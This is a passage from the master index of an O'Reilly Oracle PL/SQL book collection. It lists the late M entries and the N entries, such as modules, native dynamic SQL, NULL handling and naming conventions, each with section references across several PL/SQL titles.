modularization
A.1.7. Modules, Advanced Oracle PL/SQL Programming with Packages
A.2.7. Modules, Advanced Oracle PL/SQL Programming with Packages
16.4.2.1. Benefits of internal modularization, Advanced Oracle PL/SQL Programming with Packages
16.4.3.3. Modularization inside put_line , Advanced Oracle PL/SQL Programming with Packages
15.1. Modular Code, Oracle PL/SQL Programming
layers: 4.1.1. The Benefits of PL/Vision, Advanced Oracle PL/SQL Programming with Packages
modularizing: 2.9. Modularizing for Maintainable Packages, Advanced Oracle PL/SQL Programming with Packages
module procedure
5.22.3. Parsing PL/SQL source code, Advanced Oracle PL/SQL Programming with Packages
10.3.2.3. module procedure, Advanced Oracle PL/SQL Programming with Packages
18.1.1.4. Converting a module, Advanced Oracle PL/SQL Programming with Packages
18.2.3.1. Cataloguing a single module , Advanced Oracle PL/SQL Programming with Packages
21.2.4.7. Retrieving stack contents, Advanced Oracle PL/SQL Programming with Packages
7.3.1. About the register_app Package, Oracle Built-in Packages
modules
(see also blocks;
functions;
packages;
procedures;
programs)
1.4.3.10. Modular construction, Oracle PL/SQL Programming
2.7. Block Structure, Oracle PL/SQL Programming
15. Procedures and Functions, Oracle PL/SQL Programming
22.1.1. Make Sure the Module Name Explains the Module, Oracle PL/SQL Programming
anchoring to variables in: 4.5.4. Anchoring to Variables in Other PL/SQL Blocks, Oracle PL/SQL Programming
and target labels: 5.2.1.3. Target labels and PL/SQL blocks, Oracle PL/SQL Programming
assertion: 22.2.4. Use Assertion Modules to Validate Parameters and Assumptions, Oracle PL/SQL Programming
collections as parameters of: 19.2.2.3. Collections as module parameters, Oracle PL/SQL Programming
constructing: 15.2.1. Sequence of Section Construction, Oracle PL/SQL Programming
designing with NULL statements: 5.2.2.3. Supporting top-down design of modules, Oracle PL/SQL Programming
exception handlers in
(see also exceptions)
22.2.3. Avoid Exception Handlers for Normal Program Exits, Oracle PL/SQL Programming
formatting: 3.4. Formatting PL/SQL Blocks, Oracle PL/SQL Programming
forward declarations of: 15.9. Forward Declarations, Oracle PL/SQL Programming
including in trace messages: 21.2.1. Directing Output from PLVtrc, Advanced Oracle PL/SQL Programming with Packages
independent: 22.5. Create Independent Modules, Oracle PL/SQL Programming
local
1.7.1. Write as Little Code as Possible, Oracle PL/SQL Programming
15.7. Local Modules, Oracle PL/SQL Programming
22.3. Take Full Advantage of Local Modularization, Oracle PL/SQL Programming
naming
(see also program names)
15.3.4.3. Named modules offer scoping effect of nested block, Oracle PL/SQL Programming
15.3.5.3. Qualifying identifier names with module names, Oracle PL/SQL Programming
22.1.1. Make Sure the Module Name Explains the Module, Oracle PL/SQL Programming
nested
1.6.5. Scoping with nested blocks, Oracle PL/SQL Programming
2.7.3. Nested Blocks, Oracle PL/SQL Programming
raising exceptions in: 8.4.1.2. Raising exceptions in nested blocks, Oracle PL/SQL Programming
overloaded
1.6.6. Module overloading, Oracle PL/SQL Programming
15.8. Module Overloading, Oracle PL/SQL Programming
overloading: 18.1.4.4. Polymorphism , Oracle PL/SQL Programming
parameters of: 15.6. Parameters, Oracle PL/SQL Programming
without: 22.4. Be Wary of Modules Without Any Parameters , Oracle PL/SQL Programming
specifying in packages: 16.3. The Package Specification, Oracle PL/SQL Programming
status of: 23.3. Module Validation and Dependency Management, Oracle PL/SQL Programming
stored: 23. Managing Code in the Database, Oracle PL/SQL Programming
utility: C.16. DBMS_UTILITY, Oracle PL/SQL Programming
validating: 23.3. Module Validation and Dependency Management, Oracle PL/SQL Programming
modules procedure
11.7.2. Constructing the Execution String, Advanced Oracle PL/SQL Programming with Packages
18.2.3.2. Cataloguing multiple modules , Advanced Oracle PL/SQL Programming with Packages
month: (see date and time)
more procedure
5.14.4. Displaying online help, Advanced Oracle PL/SQL Programming with Packages
17.4.1. Showing the Help Text, Advanced Oracle PL/SQL Programming with Packages
17.5.6. Page Pausing with PLVhlp.more, Advanced Oracle PL/SQL Programming with Packages
more_objects function
5.20.5. Interfacing with the PLVobj cursor, Advanced Oracle PL/SQL Programming with Packages
11.4.3. Checking for Last Record, Advanced Oracle PL/SQL Programming with Packages
msgcount function: 5.7.1. Improving AQ Ease of Use, Oracle Built-in Packages
msgdata function: 5.7.1. Improving AQ Ease of Use, Oracle Built-in Packages
mth_total function: 13.5.3.1. Building utilities around infile, Advanced Oracle PL/SQL Programming with Packages
multi_line data structure, OWA_TEXT package: 7.2.1.1. Data structures, Oracle Web Applications
multiline comments
5.16.1. Analyzing PL/SQL string content, Advanced Oracle PL/SQL Programming with Packages
(see block comments)
multiline statements, formatting: 3.1.6. Formatting Multiline Statements , Oracle PL/SQL Programming
multimedia data: 1.3.8.4. InternetLite server and API, Oracle Web Applications
multiobj procedure: 19.4.1.4. Implementing multiobject actions, Advanced Oracle PL/SQL Programming with Packages
multiple
consumers
5.1.2. Enqueue Features, Oracle Built-in Packages
5.1.5. A Glossary of Terms, Oracle Built-in Packages
example: 5.7.8. Working with Multiple Consumers, Oracle Built-in Packages
granting access
5.2.3. Authorizing Accounts to Use Oracle AQ, Oracle Built-in Packages
5.5.1.1. The DBMS_AQADM.GRANT_TYPE_ACCESS procedure, Oracle Built-in Packages
modules, cataloging: 18.2.3.2. Cataloguing multiple modules , Advanced Oracle PL/SQL Programming with Packages
objects, actions on: 19.4.1.4. Implementing multiobject actions, Advanced Oracle PL/SQL Programming with Packages
package construction: 2.11. Simultaneous Construction of Multiple Packages, Advanced Oracle PL/SQL Programming with Packages
rows: (see arrays)
multiple-character substitution (%): 5.7.5.1. Wildcarded correlation identifiers, Oracle Built-in Packages
multirow queries with cursor variables, native dynamic SQL: 4.3. Multirow Queries with Cursor Variables, Guide to Oracle8i Features
multithreaded server environments, releasing locks and: 4.1.2.2. The DBMS_LOCK.REQUEST function, Oracle Built-in Packages
mutual recursion: (see forward declarations)
my_session package
(see also specific program names)
1.3.5.1. Examples of encapsulation packages, Oracle Built-in Packages
11.1.5.1. Adding value to DBMS_SESSION, Oracle Built-in Packages
myfile package: 1.3.6.2. Handling exceptions in Oracle Developer/2000 Release 1, Oracle Built-in Packages
myfile.spp : 1.3.6.2. Handling exceptions in Oracle Developer/2000 Release 1, Oracle Built-in Packages
mysess.sql : 11.1.5.1. Adding value to DBMS_SESSION, Oracle Built-in Packages

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 2000 O'Reilly & Associates, Inc. All rights reserved.


Master Index: N

Index: N

%NOTFOUND cursor attribute
6.6.2. Fetching Past the Last Row, Oracle PL/SQL Programming
6.9.2. The %NOTFOUND Attribute, Oracle PL/SQL Programming
NAMESPACE column,*_CONTEXT data dictionary views: 8.4.3. Context Data Dictionary Views, Guide to Oracle8i Features
NAME_IN program, Oracle Developer's FormsBuilder: 4.6.3. Dynamic PL/SQL , Guide to Oracle8i Features
NAME_RESOLVE procedure
11.3.2. Converting the Program Name, Advanced Oracle PL/SQL Programming with Packages
10.1.1. Getting Started with DBMS_UTILITY, Oracle Built-in Packages
10.1.2.17. The DBMS_UTILITY.NAME_RESOLVE procedure, Oracle Built-in Packages
C.16.8. The NAME_RESOLVE procedure, Oracle PL/SQL Programming
NAME_TOKENIZE procedure
2.5.4.3. Constructing the SELECT, Oracle Built-in Packages
10.1.1. Getting Started with DBMS_UTILITY, Oracle Built-in Packages
10.1.2.18. The DBMS_UTILITY.NAME_TOKENIZE procedure, Oracle Built-in Packages
C.16.9. The NAME_TOKENIZE procedure, Oracle PL/SQL Programming
NATURAL datatype: 4.2.1.1. Binary integer datatypes, Oracle PL/SQL Programming
NCHAR datatype: 4.2.6.1. The NCHAR datatype, Oracle PL/SQL Programming
NCHAR_ARG procedure: 17.3.3.1. The DBMS_DEFER.<datatype>_ARG procedure, Oracle Built-in Packages
NCLOB_ARG procedure: 17.3.3.1. The DBMS_DEFER.<datatype>_ARG procedure, Oracle Built-in Packages
NCLOBs
1.4.7.6. Large object support, Oracle PL/SQL Programming
4.2.7.4. The NCLOB datatype, Oracle PL/SQL Programming
8.2.1. LOB Datatypes, Oracle Built-in Packages
8.2.1.5. The NCLOB datatype, Oracle Built-in Packages
NDS (native dynamic SQL)
1.3.3. Native Dynamic SQL (Chapter 4, Native Dynamic SQL in Oracle8i), Guide to Oracle8i Features
4. Native Dynamic SQL in Oracle8i, Guide to Oracle8i Features
4.5. Working with Objects and Collections, Guide to Oracle8i Features
argument modes, binding: 4.4.3. Argument Modes , Guide to Oracle8i Features
DBMS_SQL, compared to: 4.1. DBMS_SQL Versus NDS, Guide to Oracle8i Features
EXECUTE IMMEDIATE statement: 4.2. NDS Statement Summary, Guide to Oracle8i Features
FETCH statement: 4.3.1. FETCH into Variables or Records, Guide to Oracle8i Features
OPEN FOR statement: 4.2.2. The OPEN FOR Statement, Guide to Oracle8i Features
USING clause (OPEN FOR statement): 4.3.2. The USING Clause in OPEN FOR, Guide to Oracle8i Features
binding limitations: 4.4.2. Limitations on Binding, Guide to Oracle8i Features
binding versus concatenation: 4.4.1. Binding Versus Concatenation, Guide to Oracle8i Features
duplicate placeholders: 4.4.4. Duplicate Placeholders, Guide to Oracle8i Features
dynamic PL/SQL: 4.6.3. Dynamic PL/SQL , Guide to Oracle8i Features
error handling: 4.6.2. Error Handling, Guide to Oracle8i Features
exclusive capabilities: 4.1. DBMS_SQL Versus NDS, Guide to Oracle8i Features
generic GROUP BY package: 4.3.4. Generic GROUP BY Package, Guide to Oracle8i Features
generic GROUP BY procedure: 4.3.3. Generic GROUP BY Procedure, Guide to Oracle8i Features
multirow queries with cursor variables: 4.3. Multirow Queries with Cursor Variables, Guide to Oracle8i Features
sharing NDS programs with invoker rights: 4.6.1. Sharing NDS Programs with Invoker Rights, Guide to Oracle8i Features
utility package: 4.7. NDS Utility Package, Guide to Oracle8i Features
NESTED TABLE ... STORE AS clause: 19.2.1.1. Collection as a "column" in a conventional table, Oracle PL/SQL Programming
NEW_LINE procedure
C.9.5. The NEW_LINE procedure, Oracle PL/SQL Programming
C.17.1.7. The NEW_LINE procedure, Oracle PL/SQL Programming
NEW_LINE procedure (DBMS_OUTPUT)
6.1.1.1. DBMS_OUTPUT programs, Oracle Built-in Packages
6.1.3.3. The DBMS_OUTPUT.NEW_LINE procedure, Oracle Built-in Packages
NEW_LINE procedure (UTL_FILE)
6.2.1.1. UTL_FILE programs, Oracle Built-in Packages
6.2.4.2. The UTL_FILE.NEW_LINE procedure, Oracle Built-in Packages
NEW_MULTI procedure, OWA_TEXT package: 7.2.1.2. Procedures, Oracle Web Applications
NEW_ROW_LIST, OWA_TEXT package: 7.2.1.2. Procedures, Oracle Web Applications
NEW_TIME function
12.1.4. The NEW_TIME function, Oracle PL/SQL Programming
12.2.2. Using NEW_TIME in Client-Server Environments, Oracle PL/SQL Programming
NEXT function
10.8.2.6. The NEXT function, Oracle PL/SQL Programming
10.8.2.7. The PRIOR function, Oracle PL/SQL Programming
19.6.7. PRIOR(i), NEXT(i), Oracle PL/SQL Programming
NEXT_DATE procedure
13.1.1. DBMS_JOB Programs, Oracle Built-in Packages
13.2.6.3. The DBMS_JOB.NEXT_DATE procedure, Oracle Built-in Packages
C.5.5. The NEXT_DATE procedure, Oracle PL/SQL Programming
NEXT_DAY function: 12.1.5. The NEXT_DAY function, Oracle PL/SQL Programming
NEXT_ITEM_TYPE function
3.1.1.1. DBMS_PIPE programs, Oracle Built-in Packages
3.1.4.7. The DBMS_PIPE.NEXT_ITEM_TYPE function, Oracle Built-in Packages
C.10.2. The NEXT_ITEM_TYPE function, Oracle PL/SQL Programming
datatype values: 3.1.4.4. The DBMS_PIPE.UNPACK_MESSAGE procedure, Oracle Built-in Packages
NEXT_MESSAGE dequeuing: 5.4.2.5. Dequeue navigation, Oracle Built-in Packages
NLS
(see also National Language Support)
NLS character datatypes: 4.2.6. NLS Character Datatypes, Oracle PL/SQL Programming
NLS character large object: 7.5.1. The TO_LOB Function, Guide to Oracle8i Features
NLS_CALENDAR attribute, SYS_CONTEXT function: 8.4.1. The SYS_CONTEXT Function, Guide to Oracle8i Features
NLS_CURRENCY attribute, SYS_CONTEXT function: 8.4.1. The SYS_CONTEXT Function, Guide to Oracle8i Features
NLS_DATE_FORMAT attribute, SYS_CONTEXT function: 8.4.1. The SYS_CONTEXT Function, Guide to Oracle8i Features
NLS_DATE_LANGUAGE attribute, SYS_CONTEXT function: 8.4.1. The SYS_CONTEXT Function, Guide to Oracle8i Features
NLS_SORT attribute, SYS_CONTEXT function: 8.4.1. The SYS_CONTEXT Function, Guide to Oracle8i Features
NLS_TERRITORY attribute, SYS_CONTEXT function: 8.4.1. The SYS_CONTEXT Function, Guide to Oracle8i Features
NOCOPY parameter mode hint
1.3.9. Miscellaneous New Features and Performance Improvements (Chapter 10, More Goodies for Oracle8i PL/SQL Developers), Guide to Oracle8i Features
7.5.2.5. Managing temporary LOBs, Guide to Oracle8i Features
impact: 10.1.2. Impact of NOCOPY Use, Guide to Oracle8i Features
overview: 10. More Goodies for Oracle8i PL/SQL Developers, Guide to Oracle8i Features
parameter aliasing: 10.1.3. Parameter Aliasing, Guide to Oracle8i Features
performance gains: 10.1.4. Performance Gains with NOCOPY, Guide to Oracle8i Features
restrictions: 10.1.1. Restrictions on NOCOPY, Guide to Oracle8i Features
NOT NULL datatype
4.4.4. NOT NULL Clause, Oracle PL/SQL Programming
anchoring to: 4.5.5. Anchoring to NOT NULL Datatypes, Oracle PL/SQL Programming
constraints: 25.4.6. Avoid NOT NULL Constraints, Oracle PL/SQL Programming
NOT bit operation: 9.2.3.2. The UTL_RAW.BIT_COMPLEMENT function, Oracle Built-in Packages
NOT_LOGGED_ON exception: 8.3.1. Named System Exceptions , Oracle PL/SQL Programming
NOWAIT keyword: 6.1.5. The LOCK TABLE Statement, Oracle PL/SQL Programming
NO_DATA_FOUND error: 5.4. Using Cursor Attributes, Guide to Oracle8i Features
NO_DATA_FOUND exception
13.1.4. Handling UTL_FILE Errors, Advanced Oracle PL/SQL Programming with Packages
21.2.5. Using PLVtrc, Advanced Oracle PL/SQL Programming with Packages
8.3.1. Named System Exceptions , Oracle PL/SQL Programming
8.8. NO_DATA_FOUND: Multipurpose Exception, Oracle PL/SQL Programming
NO_SUCH_TABLE exception: 22.1.2. Package-Based Exceptions, Advanced Oracle PL/SQL Programming with Packages
NULL: 4.3. NULLs in PL/SQL, Oracle PL/SQL Programming
NOT NULL constraints: 25.4.6. Avoid NOT NULL Constraints, Oracle PL/SQL Programming
NULL statements: 5.2.2. The NULL Statement, Oracle PL/SQL Programming
with GOTO statements: 5.2.2.4. Using NULL with GOTO to avoid additional statement execution, Oracle PL/SQL Programming
NVL function: 13.3.4. The NVL function, Oracle PL/SQL Programming
and default values: 4.4.4. NOT NULL Clause, Oracle PL/SQL Programming
assigning to objects: 18.5.3. Approach 3: Do Everything via Methods, Oracle PL/SQL Programming
checking for: (see assertion routines)
in IF statements: 5.1.1. The IF-THEN Combination, Oracle PL/SQL Programming
predicates: 7.3.4. ADD_POLICY: Adding a Policy, Guide to Oracle8i Features
setting records to: 9.6.1.3. Setting records to NULL, Oracle PL/SQL Programming
string: 2.3. Literals, Oracle PL/SQL Programming
substitution value
5.3.4. Setting the NULL substitution value, Advanced Oracle PL/SQL Programming with Packages
6.1. Null Substitution Value, Advanced Oracle PL/SQL Programming with Packages
NUMBER datatype
4.2.1.2. Decimal numeric datatypes, Oracle PL/SQL Programming
25.4.5. Use PLS_INTEGER for All Integer Operations, Oracle PL/SQL Programming
NUMBER_ARG procedure: 17.3.3.1. The DBMS_DEFER.<datatype>_ARG procedure, Oracle Built-in Packages
NUMERIC subtype: 4.2.2. Numeric Subtypes, Oracle PL/SQL Programming
NVARCHAR2 datatype: 4.2.6.2. The NVARCHAR2 datatype, Oracle PL/SQL Programming
NVARCHAR2_ARG procedure: 17.3.3.1. The DBMS_DEFER.<datatype>_ARG procedure, Oracle Built-in Packages
NVL function
4.3.3. Function Results with NULL Arguments, Oracle PL/SQL Programming
13.3.4. The NVL function, Oracle PL/SQL Programming
National Language Support (NLS)
character set conversion: 9.2.3.9. The UTL_RAW.CONVERT function, Oracle Built-in Packages
job scheduling and
13.2.2. Job Execution and the Job Execution Environment, Oracle Built-in Packages
13.2.6.1. The DBMS_JOB.CHANGE procedure, Oracle Built-in Packages
13.2.6.4. The DBMS_JOB.WHAT procedure, Oracle Built-in Packages
raw data and: 9.2. UTL_RAW: Manipulating Raw Data, Oracle Built-in Packages
setting characteristics: 11.1.2.3. The DBMS_SESSION.SET_NLS procedure, Oracle Built-in Packages
Natural Language Support: (see National Language Support)
Net8
2.2.3. The HyperText Transfer Protocol (HTTP), Oracle Web Applications
2.5.5. Additional Security Precautions, Oracle Web Applications
listener: 21.2.1. Step 1: Set Up the Listener, Oracle PL/SQL Programming
Netscape Communicator: 2.2.4. The Web Browser, Oracle Web Applications
name function: 19.6.3. Looking Up the Name, Advanced Oracle PL/SQL Programming with Packages
name value, PL/SQL: 6.2.2.1. Declaring a variable, Oracle Web Applications
named collections: 19.5.2.1. Casting a named collection, Oracle PL/SQL Programming
named constants
4.1. Identifiers, Oracle PL/SQL Programming
4.7.4. Use Named Constants to Avoid Hardcoding Values, Oracle PL/SQL Programming
converting variables to: 4.7.5. Convert Variables into Named Constants , Oracle PL/SQL Programming
named labels: 5.2.1. The GOTO Statement, Oracle PL/SQL Programming
named locks: 4.1.2.1. The DBMS_LOCK.ALLOCATE_UNIQUE procedure, Oracle Built-in Packages
commitment and: 4.1.3.4. ALLOCATE_UNIQUE drawbacks, Oracle Built-in Packages
performance using
4.1.3.3. Performance of named locks, Oracle Built-in Packages
4.1.3.5. Optimizing named locks, Oracle Built-in Packages
named notation
15.6.4.2. Named notation, Oracle PL/SQL Programming
6.1.4.2. Named notation, Oracle Web Applications
5.5.1.2. The DBMS_AQADM.CREATE_QUEUE_TABLE procedure, Oracle Built-in Packages
names
2.8.1.1. Supporting many data combinations, Advanced Oracle PL/SQL Programming with Packages
character: 5.6.3. Other functions and procedures, Advanced Oracle PL/SQL Programming with Packages
database log table: 21.1.3.1. Defining the database log table, Advanced Oracle PL/SQL Programming with Packages
filenames
5.11.13. Miscellaneous operations, Advanced Oracle PL/SQL Programming with Packages
13.1.3. File Location, Name, and Mode, Advanced Oracle PL/SQL Programming with Packages
parsing: 13.2.3. Parsing the File Name, Advanced Oracle PL/SQL Programming with Packages
foreign key (see foreign key lookups)
functions: 2.3.1. Choosing Appropriate and Accurate Names, Advanced Oracle PL/SQL Programming with Packages
instead of literals: 1.6.1.4. Remove hard-coded literals from your application, Advanced Oracle PL/SQL Programming with Packages
message database elements: 9.2.2. Batch Loading of Message Text, Advanced Oracle PL/SQL Programming with Packages
object, putting in table: 11.6. Populating a PL/SQL Table with Object Names, Advanced Oracle PL/SQL Programming with Packages
packages: 2.3. Selecting Package Names, Advanced Oracle PL/SQL Programming with Packages
program, parsing: 11.3.2. Converting the Program Name, Advanced Oracle PL/SQL Programming with Packages
qualified (dot) notation
2.3. Selecting Package Names, Advanced Oracle PL/SQL Programming with Packages
2.3.2. Avoiding Redundancy, Advanced Oracle PL/SQL Programming with Packages
reserved words: 10.2. PLVtkn: Managing PL/SQL Tokens, Advanced Oracle PL/SQL Programming with Packages
unambiguous arguments: 2.8.1.3. Unambiguous, simple arguments, Advanced Oracle PL/SQL Programming with Packages
zooming in on help topic by: 4.5.1. Zooming in on help text, Advanced Oracle PL/SQL Programming with Packages
namespace parameter
CREATE CONTEXT statment: 8.2. CREATE CONTEXT: Creating Contexts, Guide to Oracle8i Features
SET_CONTEXT procedure: 8.3. SET_CONTEXT: Setting Context and Attribute Values, Guide to Oracle8i Features
naming
columns
1.7.5. Structured Code and Other Best Practices, Oracle PL/SQL Programming
9.3.2. Setting the Record's Column Names, Oracle PL/SQL Programming
cursor identifiers: 6.4.3. Identifier Precedence in a Cursor, Oracle PL/SQL Programming
cursors: 6.4.1. The Cursor Name, Oracle PL/SQL Programming
encrypted code files: 23.7.2. Working with Encrypted Code, Oracle PL/SQL Programming
exceptions
8.3.1. Named System Exceptions , Oracle PL/SQL Programming
8.4.1.3. Overlapping exception names, Oracle PL/SQL Programming
functions: 1.7.5. Structured Code and Other Best Practices, Oracle PL/SQL Programming
identifiers: 2.2. Identifiers, Oracle PL/SQL Programming
loop indexes: 7.7.1. Naming Loop Indexes , Oracle PL/SQL Programming
loops: 7.6.1. Loop Labels, Oracle PL/SQL Programming
modules
15.3.4.3. Named modules offer scoping effect of nested block, Oracle PL/SQL Programming
22.1.1. Make Sure the Module Name Explains the Module, Oracle PL/SQL Programming
qualified identifiers and: 15.3.5.3. Qualifying identifier names with module names, Oracle PL/SQL Programming
object types: 18.6.3. Schema Evolution, Oracle PL/SQL Programming
packages: 22.1.3. Name Packages and Their Elements to Reflect the Packaged Structure, Oracle PL/SQL Programming
parameters: 22.1.2. Develop Consistent Naming Conventions for Your Formal Parameters , Oracle PL/SQL Programming
precedence, column/function: 17.6. Column/Function Name Precedence, Oracle PL/SQL Programming
savepoints: 6.1.3. The SAVEPOINT Statement, Oracle PL/SQL Programming
subtypes: 4.7.2. Name Subtypes to Self-Document Code, Oracle PL/SQL Programming
tables: 1.7.5. Structured Code and Other Best Practices, Oracle PL/SQL Programming
variables
1.7.5. Structured Code and Other Best Practices, Oracle PL/SQL Programming
4.1. Identifiers, Oracle PL/SQL Programming
4.7.1. Establish Clear Variable Naming Conventions , Oracle PL/SQL Programming
natural logarithm function: 13.1.11. The LN function, Oracle PL/SQL Programming
navigation (dequeuing)
5.3.8. Dequeue Options Record Type, Oracle Built-in Packages
5.4.2.5. Dequeue navigation, Oracle Built-in Packages
ndsutil.pkg file: 4.7. NDS Utility Package, Guide to Oracle8i Features
negative numbers: 4.2.1.1. Binary integer datatypes, Oracle PL/SQL Programming
negative row index: 10.2. Characteristics of PL/SQL Tables, Oracle PL/SQL Programming
nested
%TYPE attributes: 4.5.3. Nesting Usages of the %TYPE Attribute, Oracle PL/SQL Programming
IF statements
A.1.1. Conditional Logic, Advanced Oracle PL/SQL Programming with Packages
A.2.1. Conditional Logic, Advanced Oracle PL/SQL Programming with Packages
5.1.4. Nested IF Statements, Oracle PL/SQL Programming
blocks
(see also anonymous blocks)
15.3. The Anonymous PL/SQL Block, Oracle PL/SQL Programming
15.3.4. Nested Blocks , Oracle PL/SQL Programming
versus PL/SQL block: 19.5.5.2. Scope of a dynamic PL/SQL block, Advanced Oracle PL/SQL Programming with Packages
4.6.3. Dynamic PL/SQL , Guide to Oracle8i Features
cursors and: 15.3.5.4. Cursor scope, Oracle PL/SQL Programming
scope and: 15.3.5.2. Scope and nested blocks, Oracle PL/SQL Programming
modules: 2.7.3. Nested Blocks, Oracle PL/SQL Programming
raising exceptions in: 8.4.1.2. Raising exceptions in nested blocks, Oracle PL/SQL Programming
scoping with: 1.6.5. Scoping with nested blocks, Oracle PL/SQL Programming
objects, dot notation for: 18.3.4.1. Dots in data structures, Oracle PL/SQL Programming
packages: 2.9. Modularizing for Maintainable Packages, Advanced Oracle PL/SQL Programming with Packages
records: 9.7. Nested Records, Oracle PL/SQL Programming
tables
(see also collections)
1.4.7.3. Variable arrays and nested tables, Oracle PL/SQL Programming
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i), Guide to Oracle8i Features
6. New Trigger Features in Oracle8i, Guide to Oracle8i Features
4.1. DBMS_SQL Versus NDS, Guide to Oracle8i Features
5. Bulking Up with PL/SQL 8.1, Guide to Oracle8i Features
19.1. Types of Collections, Oracle PL/SQL Programming
19.3. Syntax for Declaring Collection Datatypes, Oracle PL/SQL Programming
THE pseudo-function for: 19.5.1. The THE Pseudo-function, Oracle PL/SQL Programming
adding/removing elements of: 19.4.3. Adding and Removing Elements, Oracle PL/SQL Programming
assigning values to elements: 19.4.2. Assigning Values to Elements: Index (Subscript) Considerations, Oracle PL/SQL Programming
defining: 19.2.1. Collections "In the Database", Oracle PL/SQL Programming
initializing: 19.4.1. Initializing Collection Variables, Oracle PL/SQL Programming
objects for: 18.1.2. Some Simple Examples, Oracle PL/SQL Programming
table view columns: 6.1. Triggers on Nested Table View Columns, Guide to Oracle8i Features
variables, DBMS_SQL restrictions: 2.4.1. Some Restrictions, Oracle Built-in Packages
nesttrig.sql file: 6.1. Triggers on Nested Table View Columns, Guide to Oracle8i Features
new_add_months function: 12.2.1. Customizing the Behavior of ADD_MONTHS, Oracle PL/SQL Programming
newline markers
6.1.3.2. The DBMS_OUTPUT.PUT_LINE procedure, Oracle Built-in Packages
6.2.4.2. The UTL_FILE.NEW_LINE procedure, Oracle Built-in Packages
next_atom_loc function
5.16.2. Scanning PL/SQL strings, Advanced Oracle PL/SQL Programming with Packages
5.21.3. Analyzing string contents, Advanced Oracle PL/SQL Programming with Packages
10.1.3.1. next_atom_loc function, Advanced Oracle PL/SQL Programming with Packages
next_date parameter (job scheduling): 13.1.2.3. The next_date parameter, Oracle Built-in Packages
nextseq function
5.9.4. Data Definition Language operations, Advanced Oracle PL/SQL Programming with Packages
19.4.1.5. Generating sequence numbers, Advanced Oracle PL/SQL Programming with Packages
nitems function: 5.24.4. Analyzing stack contents, Advanced Oracle PL/SQL Programming with Packages
no_name_specified exception: 5.20.2. General constants and exceptions, Advanced Oracle PL/SQL Programming with Packages
no_such_table exception: 5.10.2. Package-based exceptions, Advanced Oracle PL/SQL Programming with Packages
nobailout procedure
5.10.7. Bailing out program execution, Advanced Oracle PL/SQL Programming with Packages
22.1.10.2. Starting and stopping the bailout, Advanced Oracle PL/SQL Programming with Packages
nobailout_on procedure: 22.1.10.1. Managing the bailout error list, Advanced Oracle PL/SQL Programming with Packages
nodispmod procedure
5.28.4. Displaying current module, Advanced Oracle PL/SQL Programming with Packages
21.2.1. Directing Output from PLVtrc, Advanced Oracle PL/SQL Programming with Packages
nodo_rollback procedure: 5.17.7. Rolling back in PLVlog, Advanced Oracle PL/SQL Programming with Packages
noexecsql procedure: 5.9.2. Controlling execution of dynamic SQL, Advanced Oracle PL/SQL Programming with Packages
noinclschema procedure: 5.8.1. Including the schema, Advanced Oracle PL/SQL Programming with Packages
noinclsp procedure: 5.8.2. Including the storage parameter, Advanced Oracle PL/SQL Programming with Packages
nokeep_all procedure: 5.22.2. Specifying tokens of interest, Advanced Oracle PL/SQL Programming with Packages
nokeep_bi procedure: 5.22.2. Specifying tokens of interest, Advanced Oracle PL/SQL Programming with Packages
nokeep_kw procedure: 5.22.2. Specifying tokens of interest, Advanced Oracle PL/SQL Programming with Packages
nokeep_nonkw procedure: 5.22.2. Specifying tokens of interest, Advanced Oracle PL/SQL Programming with Packages
nolog procedure: (see logging)
non-bulk FOR loop: 5.3.3. Using the RETURNING Clause with Bulk Operations, Guide to Oracle8i Features
nonprogram elements, referencing in packages: 1.3.3. Referencing Built-in Package Elements, Oracle Built-in Packages
norb procedure
5.10.5. Rolling back on exception, Advanced Oracle PL/SQL Programming with Packages
22.1.8. Rolling Back When an Exception Occurs, Advanced Oracle PL/SQL Programming with Packages
norestrict procedure: 9.4. The Restriction Toggle, Advanced Oracle PL/SQL Programming with Packages
normal queues: 5.1.5. A Glossary of Terms, Oracle Built-in Packages
normalization of local variables: 4.5.1.2. Normalization of local variables, Oracle PL/SQL Programming
normalizing timer: 14.3.3. Setting the Timing Factor, Advanced Oracle PL/SQL Programming with Packages
nosavesrc procedure
5.15.8. Saving and restoring repository settings, Advanced Oracle PL/SQL Programming with Packages
12.8. Saving and Restoring Settings, Advanced Oracle PL/SQL Programming with Packages
nosavetrg procedure: 5.15.8. Saving and restoring repository settings, Advanced Oracle PL/SQL Programming with Packages
noshow procedure: 22.1.7.2. Showing errors, Advanced Oracle PL/SQL Programming with Packages
noshowhdr procedure: 5.25.3. Toggle for showing header, Advanced Oracle PL/SQL Programming with Packages
noshowrow procedure: 5.25.4. Toggle for showing row numbers, Advanced Oracle PL/SQL Programming with Packages
noshowsql procedure
5.9.1. Tracing PLVdyn activity, Advanced Oracle PL/SQL Programming with Packages
19.5.9. Tracing Use of Dynamic SQL, Advanced Oracle PL/SQL Programming with Packages
not equals (<> and !=): 2.1. The PL/SQL Character Set, Oracle PL/SQL Programming
notification capabilities: 7.6.4. Improved Publish/Subscribe Support, Guide to Oracle8i Features
nouns, names as: 2.3.1. Choosing Appropriate and Accurate Names, Advanced Oracle PL/SQL Programming with Packages
nousecmnt procedure: 16.3.6. Generating Comments, Advanced Oracle PL/SQL Programming with Packages
nousecor procedure: 16.3.9. Including CREATE OR REPLACE, Advanced Oracle PL/SQL Programming with Packages
nouseexc procedure: 16.3.5. Using the PLVexc Exception Handler, Advanced Oracle PL/SQL Programming with Packages
nousehdr procedure: 16.3.3. Using the Program Header, Advanced Oracle PL/SQL Programming with Packages
nousehlp procedure: 16.3.7. Generating Online Help Text Stubs, Advanced Oracle PL/SQL Programming with Packages
nouseln procedure: 16.3.8. Generating Line Numbers, Advanced Oracle PL/SQL Programming with Packages
nousetrc procedure: 16.3.4. Using the Program Trace , Advanced Oracle PL/SQL Programming with Packages
now function
5.3.6. Miscellaneous programs, Advanced Oracle PL/SQL Programming with Packages
6.4.3. Retrieving Date and Time, Advanced Oracle PL/SQL Programming with Packages
6.6. The Predefined Constants, Advanced Oracle PL/SQL Programming with Packages
nth_atomic function
5.21.3. Analyzing string contents, Advanced Oracle PL/SQL Programming with Packages
10.1.3.4. nth_atomic function, Advanced Oracle PL/SQL Programming with Packages
nthcol function: 2.5.3. A Wrapper for DBMS_SQL .DESCRIBE_COLUMNS, Oracle Built-in Packages
nthline.sf : 6.2.7.5. Getting the nth line from a file, Oracle Built-in Packages
nullval function
5.3.4. Setting the NULL substitution value, Advanced Oracle PL/SQL Programming with Packages
6.1. Null Substitution Value, Advanced Oracle PL/SQL Programming with Packages
